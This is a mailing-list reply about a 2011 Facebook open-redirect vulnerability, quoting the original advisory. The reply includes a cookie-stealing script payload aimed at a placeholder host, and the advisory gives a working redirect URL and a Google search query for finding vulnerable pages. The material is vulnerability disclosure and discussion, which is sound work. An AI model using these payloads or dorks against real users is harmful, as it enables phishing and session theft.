Re: Facebook URL Redirect Vulnerability

[Javier Bassi <javierbassi () gmail com>]

Since Facebook uses a 302 redirect, the attacker can't steal victim's cookie
with a link like this:
http://apps.facebook.com/truthsaboutu/track.php?r=h<http://apps.facebook.com/truthsaboutu/track.php?r=http://www.securitypentest.com>
ttp://someurl.com/?cookie=<script>document.write(document.cookie)</script>
But still, this can be useful for a phishing attack.

On Mon, Feb 28, 2011 at 2:42 PM, Nathan Power <np () securitypentest com>wrote:

> ------------------------------------------------------------------
> 1. Summary:
>
> Once the victim clicks on a specially crafted Facebook URL they can be
> redirected to a malicious website.
> ------------------------------------------------------------------
> 2. Description:
>
> Facebook applications use of 'track.php?r=' doesn't sanitize the
> redirection input properly.  This allows an attacker to input any URL that a
> victim will get redirected too.  It is not required for the victim to be
> login to Facebook for this attack to work.
>
> The following is an example of a vulnerable URL:
>
> http://apps.facebook.com/truthsaboutu/track.php?r=http://www.securitypentest.com
>
> The following Google search query can be used to find vulnerable URLs:
> site:facebook.com inurl:"track.php?" inurl:"r="
> ------------------------------------------------------------------
> 3. Impact:
>
> Potentially allow an attacker to compromise a victim’s Facebook account
> and/or computer system.
> ------------------------------------------------------------------
> 4. Affected Products:
>
> www.facebook.com
> ------------------------------------------------------------------
> 5. Solution:  None
> ------------------------------------------------------------------
> 6. Time Table:
>
> 2/27/2011 Reported Vulnerability to the Vendor
> ------------------------------------------------------------------
> 7. Credits:
>
> Discovered by Nathan Power
> www.securitypentest.com
> ------------------------------------------------------------------
>
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